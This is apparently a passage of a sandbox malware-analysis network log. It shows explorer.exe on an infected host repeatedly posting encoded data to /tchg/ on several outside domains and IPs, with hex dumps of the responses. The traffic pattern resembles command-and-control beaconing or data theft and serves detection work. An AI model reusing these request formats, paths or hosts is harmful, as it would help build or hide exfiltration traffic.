May 30, 2023 11:12:07.303762913 CEST	1410	OUT	POST /tchg/ HTTP/1.1 Host: www.tsygy.com Connection: close Content-Length: 527 Cache-Control: no-cache Origin: http://www.tsygy.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.tsygy.com/tchg/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 4f 30 71 45 4d 3d 77 5a 70 44 62 4c 57 31 62 64 51 48 31 4d 70 4a 55 4e 56 79 46 41 56 6b 59 56 62 64 49 67 65 4c 43 33 56 34 4e 68 46 6b 72 36 79 42 75 69 74 55 67 5f 70 67 51 4e 6d 7a 6c 45 79 79 49 5f 48 55 4a 38 48 33 55 36 36 7a 4a 44 4e 7a 32 65 36 46 78 5a 53 5a 67 63 42 2d 41 41 68 38 42 6f 4b 61 6c 35 33 6e 41 35 6e 58 7a 6e 32 5f 55 51 58 53 6a 46 28 50 7e 33 64 4c 50 6f 6c 34 63 67 77 75 74 66 54 53 44 50 66 35 31 41 41 4e 56 49 6a 7a 45 76 6f 43 63 48 6c 62 7e 42 6b 56 61 4c 55 6d 37 67 67 69 36 51 7a 54 6d 2d 55 71 76 51 35 70 6d 79 54 59 68 6f 6d 72 42 43 6a 61 57 66 62 61 4b 52 70 78 36 62 54 2d 28 5a 59 78 4a 49 65 6a 76 77 75 49 70 4a 56 4f 33 31 6f 4b 28 50 55 42 4a 33 42 35 76 7a 77 5a 72 36 45 56 49 47 42 2d 42 38 46 58 6f 6d 28 50 6c 69 71 39 42 57 35 54 38 48 51 6f 70 42 49 6c 31 5a 67 66 36 49 6b 41 37 6a 72 5a 75 67 59 42 42 64 65 53 4e 6b 6b 46 6c 52 4e 74 4c 74 68 49 72 4c 43 4a 68 66 68 6d 72 45 70 59 31 6e 49 61 6f 32 66 5a 50 31 36 44 45 53 28 67 37 72 49 78 72 48 31 67 71 69 59 65 56 42 66 4d 71 39 28 6d 6f 63 64 71 52 49 44 31 79 4a 76 48 39 36 62 33 4e 78 32 41 32 73 77 69 47 6d 61 43 6b 4c 49 7a 77 39 5a 4c 36 30 56 72 38 75 61 35 47 31 31 49 75 51 78 56 66 58 62 54 5a 7a 73 78 47 58 75 50 53 2d 74 52 78 30 30 72 35 6f 4c 30 63 53 51 42 45 4e 4f 72 50 61 58 6e 49 6c 6d 77 6e 64 61 58 6f 6b 49 33 66 76 49 4b 4a 61 5a 30 6f 65 53 46 6e 42 37 6f 4b 7a 41 38 62 4e 6b 74 31 51 65 51 47 6b 37 50 74 33 48 66 39 36 45 78 6d 55 53 49 6e 54 30 53 75 70 30 66 30 69 45 78 30 49 34 4b 54 7a 6b 52 70 5f 5a 59 5a 4a 67 75 71 4e 55 2e 00 00 00 00 00 00 00 00 Data Ascii: O0qEM=wZpDbLW1bdQH1MpJUNVyFAVkYVbdIgeLC3V4NhFkr6yBuitUg_pgQNmzlEyyI_HUJ8H3U66zJDNz2e6FxZSZgcB-AAh8BoKal53nA5nXzn2_UQXSjF(P~3dLPol4cgwutfTSDPf51AANVIjzEvoCcHlb~BkVaLUm7ggi6QzTm-UqvQ5pmyTYhomrBCjaWfbaKRpx6bT-(ZYxJIejvwuIpJVO31oK(PUBJ3B5vzwZr6EVIGB-B8FXom(Pliq9BW5T8HQopBIl1Zgf6IkA7jrZugYBBdeSNkkFlRNtLthIrLCJhfhmrEpY1nIao2fZP16DES(g7rIxrH1gqiYeVBfMq9(mocdqRID1yJvH96b3Nx2A2swiGmaCkLIzw9ZL60Vr8ua5G11IuQxVfXbTZzsxGXuPS-tRx00r5oL0cSQBENOrPaXnIlmwndaXokI3fvIKJaZ0oeSFnB7oKzA8bNkt1QeQGk7Pt3Hf96ExmUSInT0Sup0f0iEx0I4KTzkRp_ZYZJguqNU.
May 30, 2023 11:12:07.471477985 CEST	1410	IN	HTTP/1.1 200 OK Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Content-Encoding: gzip Server: Nginx Microsoft-HTTPAPI/2.0 X-Powered-By: Nginx Date: Tue, 30 May 2023 09:12:04 GMT Connection: close Data Raw: 61 0d 0a 1f 8b 08 00 00 00 00 00 04 00 0d 0a Data Ascii: a
May 30, 2023 11:12:07.471563101 CEST	1411	IN	Data Raw: 32 61 66 0d 0a c5 55 3f 73 d3 30 14 ff 2a c6 3d 48 7b d7 c4 92 25 39 96 9d 78 29 cc 30 74 61 74 6d 25 11 75 2c 63 2b 75 d2 91 8d a1 ac 2c 4c b0 74 68 cb c0 50 0e 8e eb 97 81 36 4c 7c 05 24 d9 40 da 2b 3d b8 eb 5d 3d f8 67 e9 fd fb e9 bd a7 e7 1f Data Ascii: 2afU?s0=H{%9x)0tatm%u,c+u,LthP6L\|$@+=]=g>~5,5fy5'RuQOcRJh X`BFEU\z05zCO(1)op2@KI?8)lQ2l+dwMKSV%%/$%E?jd
May 30, 2023 11:12:07.471618891 CEST	1411	IN	Data Raw: 38 0d 0a ee 6a 61 23 a4 06 00 00 0d 0a Data Ascii: 8ja#
May 30, 2023 11:12:07.471668005 CEST	1411	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
74	192.168.11.20	49833	23.104.137.185	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:12:09.991215944 CEST	1413	OUT	POST /tchg/ HTTP/1.1 Host: www.tsygy.com Connection: close Content-Length: 51815 Cache-Control: no-cache Origin: http://www.tsygy.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.tsygy.com/tchg/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 4f 30 71 45 4d 3d 77 5a 70 44 62 4c 57 31 62 64 51 48 31 4d 70 4a 55 4e 56 79 46 41 56 6b 59 56 62 64 49 67 65 4c 43 33 56 34 4e 68 46 6b 72 36 36 42 76 52 56 55 67 63 42 67 52 4e 6d 7a 70 6b 79 7a 49 5f 47 57 4a 38 66 4a 55 36 48 4d 4a 41 35 7a 32 4a 6d 46 77 72 4b 5a 31 73 42 5f 63 51 68 2d 4c 49 4b 33 6c 35 79 2d 41 35 43 67 7a 55 71 5f 56 54 6a 53 6e 30 28 51 39 6e 64 4e 50 6f 6c 30 59 67 78 52 74 66 65 50 44 50 62 35 31 46 49 4e 56 36 72 7a 58 4d 41 43 56 33 6c 55 78 68 6b 47 52 72 56 55 37 67 6b 59 36 51 7a 44 6d 5f 51 71 76 51 5a 70 30 6c 48 58 69 49 6d 72 4f 53 6a 64 53 66 57 54 4b 51 46 70 36 62 6e 2d 28 61 49 78 4c 6f 65 6a 35 42 75 4a 68 4a 56 49 6c 46 70 4b 37 50 6f 4a 4a 33 55 41 76 32 6f 5a 71 4b 41 56 4b 31 5a 2d 52 74 46 58 6c 6d 28 4a 37 53 71 55 4c 32 35 50 38 48 41 53 70 43 51 66 31 66 67 66 37 73 38 41 74 57 4c 59 71 41 59 39 45 64 66 51 4a 6c 59 4a 6c 51 67 79 4c 74 68 59 72 4a 75 4a 68 72 6c 6d 71 46 70 66 30 58 49 64 6b 57 65 54 42 56 32 7a 45 53 6a 34 37 6f 59 68 72 45 5a 67 37 79 59 65 51 69 33 50 39 39 7e 73 33 4d 63 31 63 6f 43 76 79 4a 69 73 39 2d 44 6e 4f 43 69 41 31 34 55 69 51 57 62 55 76 4c 49 33 7e 64 5a 4e 7e 30 56 72 38 75 6e 43 47 31 78 49 75 68 35 56 65 6b 7a 54 64 69 73 78 56 48 75 42 53 2d 74 4d 78 30 4a 66 35 6f 79 6c 63 53 41 76 45 50 69 72 50 50 28 6e 4c 6b 6d 7a 72 4e 61 50 73 6b 4a 76 52 50 46 63 4a 61 56 38 6f 65 69 5f 6b 32 44 6f 4c 7a 51 38 4b 64 6b 75 67 41 65 58 50 45 37 64 6e 58 4b 47 39 36 59 68 6d 58 50 54 6e 54 63 53 7e 65 5a 48 74 54 34 51 68 2d 63 32 61 56 4e 47 6e 66 4a 50 4d 5a 49 56 72 59 4e 43 47 50 65 6e 33 62 69 6f 35 76 35 73 28 45 6f 31 58 6f 59 7a 79 67 35 6f 4b 49 28 4c 6d 4f 6d 6d 6b 76 38 61 6f 76 39 56 46 64 4b 42 33 64 58 41 74 4c 75 58 71 74 56 43 58 4d 56 34 38 33 67 55 32 62 32 41 48 7a 4d 4d 52 38 70 55 66 64 72 33 7e 32 61 70 64 58 32 6c 72 4d 58 74 62 35 76 76 59 65 34 30 41 55 4d 39 51 71 32 72 75 61 31 65 73 57 6e 4c 58 44 74 32 31 46 56 51 67 44 6f 44 4c 53 32 33 47 59 38 72 6e 55 36 39 47 4d 54 53 6a 36 6f 63 57 70 49 58 61 75 65 69 70 4c 50 63 31 69 79 6f 55 62 6d 6a 36 6a 58 37 31 72 75 59 55 36 7e 78 7a 31 6c 61 68 57 4b 42 30 58 61 61 51 47 6a 75 6e 34 7a 74 32 72 6d 43 28 6d 62 4b 4a 37 75 66 69 6a 56 72 5a 55 6b 63 4f 6d 4d 5a 66 74 57 46 6e 68 32 4d 52 51 44 58 28 39 4b 77 6c 69 6d 4d 64 67 43 52 6b 6f 46 69 4b 67 38 55 34 59 57 58 74 66 41 33 49 5a 37 4c 46 66 77 46 4f 78 51 46 71 6e 58 66 64 64 63 59 34 57 38 44 53 34 77 32 50 6b 64 32 31 45 46 6f 46 53 47 35 4a 73 54 69 49 62 6a 38 77 41 35 68 4c 79 5a 58 6c 31 42 68 43 33 56 4c 30 58 64 54 46 61 63 6d 39 56 33 63 63 78 33 33 34 70 69 6e 28 44 54 79 32 53 62 45 6c 33 70 55 33 39 33 61 4a 4d 43 50 6f 6a 52 65 6c 55 53 Data Ascii: O0qEM=wZpDbLW1bdQH1MpJUNVyFAVkYVbdIgeLC3V4NhFkr66BvRVUgcBgRNmzpkyzI_GWJ8fJU6HMJA5z2JmFwrKZ1sB_cQh-LIK3l5y-A5CgzUq_VTjSn0(Q9ndNPol0YgxRtfePDPb51FINV6rzXMACV3lUxhkGRrVU7gkY6QzDm_QqvQZp0lHXiImrOSjdSfWTKQFp6bn-(aIxLoej5BuJhJVIlFpK7PoJJ3UAv2oZqKAVK1Z-RtFXlm(J7SqUL25P8HASpCQf1fgf7s8AtWLYqAY9EdfQJlYJlQgyLthYrJuJhrlmqFpf0XIdkWeTBV2zESj47oYhrEZg7yYeQi3P99~s3Mc1coCvyJis9-DnOCiA14UiQWbUvLI3~dZN~0Vr8unCG1xIuh5VekzTdisxVHuBS-tMx0Jf5oylcSAvEPirPP(nLkmzrNaPskJvRPFcJaV8oei_k2DoLzQ8KdkugAeXPE7dnXKG96YhmXPTnTcS~eZHtT4Qh-c2aVNGnfJPMZIVrYNCGPen3bio5v5s(Eo1XoYzyg5oKI(LmOmmkv8aov9VFdKB3dXAtLuXqtVCXMV483gU2b2AHzMMR8pUfdr3~2apdX2lrMXtb5vvYe40AUM9Qq2rua1esWnLXDt21FVQgDoDLS23GY8rnU69GMTSj6ocWpIXaueipLPc1iyoUbmj6jX71ruYU6~xz1lahWKB0XaaQGjun4zt2rmC(mbKJ7ufijVrZUkcOmMZftWFnh2MRQDX(9KwlimMdgCRkoFiKg8U4YWXtfA3IZ7LFfwFOxQFqnXfddcY4W8DS4w2Pkd21EFoFSG5JsTiIbj8wA5hLyZXl1BhC3VL0XdTFacm9V3ccx334pin(DTy2SbEl3pU393aJMCPojRelUS
May 30, 2023 11:12:09.991266966 CEST	1418	OUT	Data Raw: 4e 63 77 54 5f 74 33 44 42 78 76 4d 62 31 43 53 49 51 4e 70 72 48 4e 7a 6d 65 72 4f 5a 38 5a 4a 2d 4a 61 73 79 78 64 31 42 32 30 58 71 66 6c 53 48 72 57 4d 41 4a 56 73 78 70 74 4c 6e 58 58 58 63 34 59 76 61 4c 52 72 77 62 30 54 54 79 53 56 55 52 Data Ascii: NcwT_t3DBxvMb1CSIQNprHNzmerOZ8ZJ-Jasyxd1B20XqflSHrWMAJVsxptLnXXXc4YvaLRrwb0TTySVUR_zne0J3j8Kf4RS_ZmgHelHMaxZZK3s9zNy187RtOR94fKt1xywLUsbusB4gQbKSdfMFG0Qg26iipotITe6oS-UtNSaE1Ni4KBzGImCrZ0koI-lPt-osuQY4n7HTZSpnO5JG(jqP2uX_wPsfwM4gEJw5BP4reOvEwL
May 30, 2023 11:12:09.991312981 CEST	1419	OUT	Data Raw: 36 6a 6f 6a 73 52 61 77 43 65 46 70 36 7e 71 45 6a 4d 71 42 72 70 33 4f 6f 47 76 69 7a 7a 69 6f 78 5a 53 32 6e 52 4d 58 6c 59 53 65 58 32 65 41 76 6d 38 5a 63 72 32 42 41 53 76 34 50 6e 44 36 71 45 47 6a 2d 49 4b 28 4c 7e 7a 69 64 6b 73 4d 78 6b Data Ascii: 6jojsRawCeFp6~qEjMqBrp3OoGvizzioxZS2nRMXlYSeX2eAvm8Zcr2BASv4PnD6qEGj-IK(L~zidksMxkEJMFiBwWRcJYOLrKfQ4x6w92MxUoDDtkKzzghGsafyOB-gDIA1Ds9Y5wobp9zvY4m34GAGPZGdKYDYWLCV1i_7rhYmrYBpBbdqRJ9zoTMZ0a_WtjymLRKVvfPCOUdRlxEb8ZUPX1damFWag5CbmG8RT23Mt8TU9(3
May 30, 2023 11:12:10.158207893 CEST	1423	OUT	Data Raw: 69 57 69 35 5a 42 73 6d 46 43 70 63 34 42 70 45 4c 55 59 5a 48 6e 54 77 45 54 4f 4f 72 43 78 55 57 6e 55 64 62 69 54 72 6b 64 4a 65 39 4f 64 66 53 39 46 38 4f 67 61 28 6e 64 6e 33 6f 33 69 33 74 62 2d 63 51 51 2d 36 6e 73 55 71 6e 6d 44 51 64 67 Data Ascii: iWi5ZBsmFCpc4BpELUYZHnTwETOOrCxUWnUdbiTrkdJe9OdfS9F8Oga(ndn3o3i3tb-cQQ-6nsUqnmDQdgN2rbw~gLXZVJ8dd7_DQkN2INJIwgs6eO9jO3xdPgW7xDtIrEfbaTfHfL10P~iY99XIKJy6i9rK1n-FCuQ9VwA6_8zS7UvEFgK5yVI8DJUCQSwN_HoVuX_vnHH2I(ixGWZqxJp5cC6ji5Lez97Ecr_8gI2oVZaOL2C
May 30, 2023 11:12:10.158288956 CEST	1433	OUT	Data Raw: 52 59 49 44 58 46 65 55 6d 78 4c 57 6b 35 35 65 53 4b 73 39 38 54 70 78 57 64 61 74 34 72 4f 69 43 53 36 61 2d 79 42 6c 6d 78 68 45 44 51 56 63 7a 6e 47 35 4a 58 36 46 46 44 30 4b 59 4b 30 34 66 30 51 32 79 54 65 61 78 53 31 6c 68 35 31 56 48 44 Data Ascii: RYIDXFeUmxLWk55eSKs98TpxWdat4rOiCS6a-yBlmxhEDQVcznG5JX6FFD0KYK04f0Q2yTeaxS1lh51VHDczyHFEOpA13cieBEA7vCsh5PctUwJzjkszFgikXexgBZ17RLgSj6qWWd0l6(eZLU18aeup5viNEpkrMP-F71voaXg0aNxEACoR8DFZ4hIRXfPjuXOoBYzboC51MgBbNUU1R1ZYwWIWGh4EtDM(Stmc0hgJ2G6CjTJ
May 30, 2023 11:12:10.158363104 CEST	1440	OUT	Data Raw: 61 46 44 79 72 63 45 38 4d 67 46 35 71 7a 4b 6b 6b 62 63 34 70 36 4f 55 42 54 34 59 68 31 4a 36 6e 77 78 48 58 62 5f 77 53 5a 43 72 63 46 5a 28 4d 67 62 28 50 69 50 36 6c 58 57 6a 67 47 50 4c 67 4e 49 53 32 69 31 4a 39 72 6e 4b 66 6c 73 42 76 6f Data Ascii: aFDyrcE8MgF5qzKkkbc4p6OUBT4Yh1J6nwxHXb_wSZCrcFZ(Mgb(PiP6lXWjgGPLgNIS2i1J9rnKflsBvoJ0BIi3Ss8ZE0S73PSBVq7Up8sKnC3A7l2jiwvOPSmTH5RcOHCgUNwkdjlKwSMcyu9SL~lGNi4brnBxo(M7kZlAeb4bJeQUERYY_HHLzrAPa(qRSU7ZUNxz9tju2FF0pEEx86-r2glY7mDF22683Bt~XozN1WVvCH2
May 30, 2023 11:12:10.158927917 CEST	1440	IN	HTTP/1.1 200 OK Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Content-Encoding: gzip Server: Nginx Microsoft-HTTPAPI/2.0 X-Powered-By: Nginx Date: Tue, 30 May 2023 09:12:06 GMT Connection: close Data Raw: 61 0d 0a 1f 8b 08 00 00 00 00 00 04 00 0d 0a Data Ascii: a
May 30, 2023 11:12:10.159219980 CEST	1441	IN	Data Raw: 32 61 66 0d 0a c5 55 3f 73 d3 30 14 ff 2a c6 3d 48 7b d7 c4 92 25 39 96 9d 78 29 cc 30 74 61 74 6d 25 11 75 2c 63 2b 75 d2 91 8d a1 ac 2c 4c b0 74 68 cb c0 50 0e 8e eb 97 81 36 4c 7c 05 24 d9 40 da 2b 3d b8 eb 5d 3d f8 67 e9 fd fb e9 bd a7 e7 1f Data Ascii: 2afU?s0=H{%9x)0tatm%u,c+u,LthP6L\|$@+=]=g>~5,5fy5'RuQOcRJh X`BFEU\z05zCO(1)op2@KI?8)lQ2l+dwMKSV%%/$%E?jd
May 30, 2023 11:12:10.159276962 CEST	1441	IN	Data Raw: 38 0d 0a ee 6a 61 23 a4 06 00 00 0d 0a Data Ascii: 8ja#
May 30, 2023 11:12:10.159333944 CEST	1441	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
May 30, 2023 11:12:10.325177908 CEST	1444	OUT	Data Raw: 6c 4b 4a 48 2d 30 50 43 6d 6f 44 53 6a 63 72 7a 48 6f 6e 57 4f 56 79 44 58 66 39 49 79 70 4c 7e 36 6e 65 4f 76 42 46 61 4a 33 79 28 55 69 65 78 64 7a 69 54 79 6c 58 6f 63 67 5a 78 30 72 30 6f 67 4f 6f 6a 77 71 46 30 36 56 63 67 2d 44 72 49 4e 50 Data Ascii: lKJH-0PCmoDSjcrzHonWOVyDXf9IypL~6neOvBFaJ3y(UiexdziTylXocgZx0r0ogOojwqF06Vcg-DrINPt0gjJs58Kb8QnJ0G4clORaWfoCBcYF6EIXHWN(PP8v9PrR1(4Fl2OAML2R2UYFWkMneHbTgJweby37zMkucgEkbbxW9r-fcPTrMAkCiJ4A2tfgFAgNzvkTZdtOnu9wC9MPqlfu-l3tlJyIKohL_JZfX7Yoyv_JRv7
May 30, 2023 11:12:10.325268984 CEST	1449	OUT	Data Raw: 2d 61 75 6e 30 54 6a 76 79 47 39 4a 53 6d 4c 68 63 34 4f 77 36 37 31 28 35 32 6b 64 48 64 6f 65 6d 4d 35 36 32 41 6c 53 37 67 50 4a 39 50 79 46 66 69 31 58 42 38 57 69 44 32 4a 76 54 6d 69 6c 53 48 59 50 45 7a 32 79 49 62 32 6c 74 36 65 75 66 57 Data Ascii: -aun0TjvyG9JSmLhc4Ow671(52kdHdoemM562AlS7gPJ9PyFfi1XB8WiD2JvTmilSHYPEz2yIb2lt6eufWBp4XyhlGDVIPZJjhJl_MmIsfQZ-14n-fo9lwted9-eA2EzdH5wKDsgrz2sy9cqmteYJnBuyVc2AUk6JqBhg8i6CRp57v45ofXXJdviymKHO42L3J8IJ(Cp3FHJIrQhr797Q38Uz~ANQi3W4fTinl43Xp-ynLYKLe3
May 30, 2023 11:12:10.325324059 CEST	1454	OUT	Data Raw: 36 58 39 78 74 6a 55 50 77 55 65 6d 53 39 52 64 4a 46 74 69 53 53 63 77 5a 7a 36 52 57 76 45 59 46 62 46 49 57 73 76 38 35 36 33 41 39 52 51 6c 4a 54 77 37 31 61 74 69 55 48 77 4e 38 35 66 67 64 77 31 69 58 69 44 54 50 72 73 58 50 35 6d 34 75 4c Data Ascii: 6X9xtjUPwUemS9RdJFtiSScwZz6RWvEYFbFIWsv8563A9RQlJTw71atiUHwN85fgdw1iXiDTPrsXP5m4uL2sZS8EuPVR88VbzYvMO5hqs~TapYzebKxHUUbdx7BLhdynGOJyho5oFLLwoiXu12SXSudjUNyl83z8CMReQFxL8twvyX1gUNbOga_p4FVAs7CAcu8y1C3T66O66NO7ua3Htjkq153d0bMVSH1VnO3CrxbjJ3xmqdJ
May 30, 2023 11:12:10.325496912 CEST	1459	OUT	Data Raw: 78 34 63 4b 33 72 48 70 4b 42 67 56 31 57 51 52 69 39 55 47 54 62 36 39 63 66 45 42 66 6a 7a 54 37 71 34 72 59 6a 79 73 33 42 31 28 33 57 4e 6a 69 4e 41 4b 62 75 38 44 47 76 65 28 6c 6a 35 4c 4a 53 49 4e 54 45 50 54 6d 6e 77 32 44 34 62 45 52 35 Data Ascii: x4cK3rHpKBgV1WQRi9UGTb69cfEBfjzT7q4rYjys3B1(3WNjiNAKbu8DGve(lj5LJSINTEPTmnw2D4bER5woXC089AJLGNx3BWHqS477H~2E_Q6PuGbOUaS7-O7lxsXidW7CT3hrMqXtEYTWbMi0SL_WBVoNKugDMGX~VoEaFhrBQO5nxIlPJGTU6HiCKTIM7BnJv4Q5TPHJAiIiHX608i_ePCF5RPdy2Y1VA2ZfeBD7gKnE7Q8
May 30, 2023 11:12:10.325664043 CEST	1460	OUT	Data Raw: 44 71 69 64 30 50 37 28 54 44 72 31 4e 6f 77 7e 64 4c 77 32 49 6c 4b 70 46 73 55 68 56 37 37 69 46 34 52 71 30 28 43 33 37 57 65 43 4b 72 55 73 4e 34 47 51 62 46 4c 42 50 46 37 7a 75 77 4a 54 4c 66 44 6c 32 71 33 74 4f 43 5a 32 34 43 61 38 4d 50 Data Ascii: Dqid0P7(TDr1Now~dLw2IlKpFsUhV77iF4Rq0(C37WeCKrUsN4GQbFLBPF7zuwJTLfDl2q3tOCZ24Ca8MPBkIjUIerxPC~wThZVodDOg6Dp3LB11emRq1cJ3p8llhLdyopyc37AT_vPDOKDASDtGrEtHHIqkCXfYypXQ4~oivpt(-C5fSrJQyZnz_aExl2BdLbSH1l4C9r_0k2L(0SC4QoUimtCiLZy~siv1wSENsmI48S_1_xz

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
75	192.168.11.20	49834	23.104.137.185	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:12:12.677489996 CEST	1466	OUT	GET /tchg/?O0qEM=9bBjY/6oTKgH1shIYNMDEgJDdV7IeHSSKUh5InR8itKuthEKpcsrZfSerFOqB7XzWJrnUJabB2R375fix7bupMFfJVFvNpSnug==&CF1Ki=UnDuQcdCFs1MNsvY HTTP/1.1 Host: www.tsygy.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
May 30, 2023 11:12:12.844702005 CEST	1466	IN	HTTP/1.1 200 OK Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Server: Nginx Microsoft-HTTPAPI/2.0 X-Powered-By: Nginx Date: Tue, 30 May 2023 09:12:09 GMT Connection: close Data Raw: 33 0d 0a ef bb bf 0d 0a Data Ascii: 3
May 30, 2023 11:12:12.844796896 CEST	1468	IN	Data Raw: 36 61 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 26 23 32 30 30 36 Data Ascii: 6a1<!DOCTYPE html><html xmlns="http://www.w3.org/1999/xhtml"><head><title>九游会在线官方网站_九游会官网j9</title><meta name="keywords" content="
May 30, 2023 11:12:12.844855070 CEST	1468	IN	Data Raw: 74 6f 70 3a 30 3b 6c 65 66 74 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 7a 2d 69 6e 64 65 78 3a 20 39 39 39 39 39 39 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 32 30 Data Ascii: top:0;left:0;width:100%;height:100%;background:#fff;z-index: 999999;padding-top:200px;font-size:20px;text-align:center;color:#000'>,九游会在线官方网站_九游&#2025
May 30, 2023 11:12:12.844913006 CEST	1468	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
76	192.168.11.20	49835	199.192.30.147	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
May 30, 2023 11:12:18.024607897 CEST	1469	OUT	POST /tchg/ HTTP/1.1 Host: www.cookcollectives.xyz Connection: close Content-Length: 187 Cache-Control: no-cache Origin: http://www.cookcollectives.xyz User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.cookcollectives.xyz/tchg/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 4f 30 71 45 4d 3d 79 30 4c 79 67 70 65 74 4c 4e 4c 62 4c 64 67 78 30 47 71 4e 4b 69 65 67 61 35 43 52 53 57 63 41 76 34 31 51 6c 5a 66 63 53 2d 71 4b 4c 78 6b 6e 78 5a 35 68 54 59 65 69 32 4c 70 35 49 76 46 6b 37 68 4f 6b 46 68 76 70 76 6b 70 77 79 32 76 68 74 71 66 4f 4e 65 36 64 71 76 44 78 4f 52 7e 4c 75 2d 6a 34 77 66 30 58 42 41 38 2d 45 65 41 69 30 6a 62 4d 56 73 56 35 6d 36 35 72 6d 39 6f 61 77 48 41 50 61 77 4b 50 6a 50 39 58 65 57 4a 7a 62 4c 75 39 33 47 64 61 65 33 46 37 53 53 69 62 6c 4a 62 33 5a 58 34 65 54 41 4f 56 77 4c 77 30 41 51 29 2e 00 00 00 00 00 00 00 00 Data Ascii: O0qEM=y0LygpetLNLbLdgx0GqNKiega5CRSWcAv41QlZfcS-qKLxknxZ5hTYei2Lp5IvFk7hOkFhvpvkpwy2vhtqfONe6dqvDxOR~Lu-j4wf0XBA8-EeAi0jbMVsV5m65rm9oawHAPawKPjP9XeWJzbLu93Gdae3F7SSiblJb3ZX4eTAOVwLw0AQ).
May 30, 2023 11:12:18.313868046 CEST	1471	IN	HTTP/1.1 404 Not Found Date: Tue, 30 May 2023 09:12:18 GMT Server: Apache Content-Length: 4406 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 43 6f 64 65 73 74 65 72 20 7c 20 34 30 34 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 62 6f 6f 74 73 74 72 61 70 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 6d 65 64 69 61 3d 22 73 63 72 65 65 6e 22 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 72 65 73 70 6f 6e 73 69 76 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 6d 65 64 69 61 3d 22 73 63 72 65 65 6e 22 3e 0d 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 6d 65 64 69 61 3d 22 73 63 72 65 65 6e 22 3e 0d 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 27 68 74 74 70 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 4f 70 65 6e 2b 53 61 6e 73 3a 34 30 30 2c 33 30 30 27 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 3e 0d 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 6a 73 2f 6a 71 75 65 72 79 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 6a 73 2f 73 75 70 65 72 66 69 73 68 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 6a 73 2f 6a 71 75 65 72 79 2e 65 61 73 69 6e 67 2e 31 2e 33 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 6a 73 2f 6a 71 75 65 72 79 2e 63 6f 6f 6b 69 65 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 6a 51 75 65 72 79 28 77 69 6e 64 6f 77 29 2e 6c 6f 61 64 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0d 0a 20 20 20 20 6a 51 75 65 72 79 28 27 2e 73 70 69 6e 6e 65 72 27 29 2e 61 6e 69 6d 61 74 65 28 7b 0d 0a 20 20 20 20 20 20 20 20 27 6f 70 61 63 69 74 79 27 3a 20 30 0d 0a 20 20 20 20 7d 2c 20 31 30 30 30 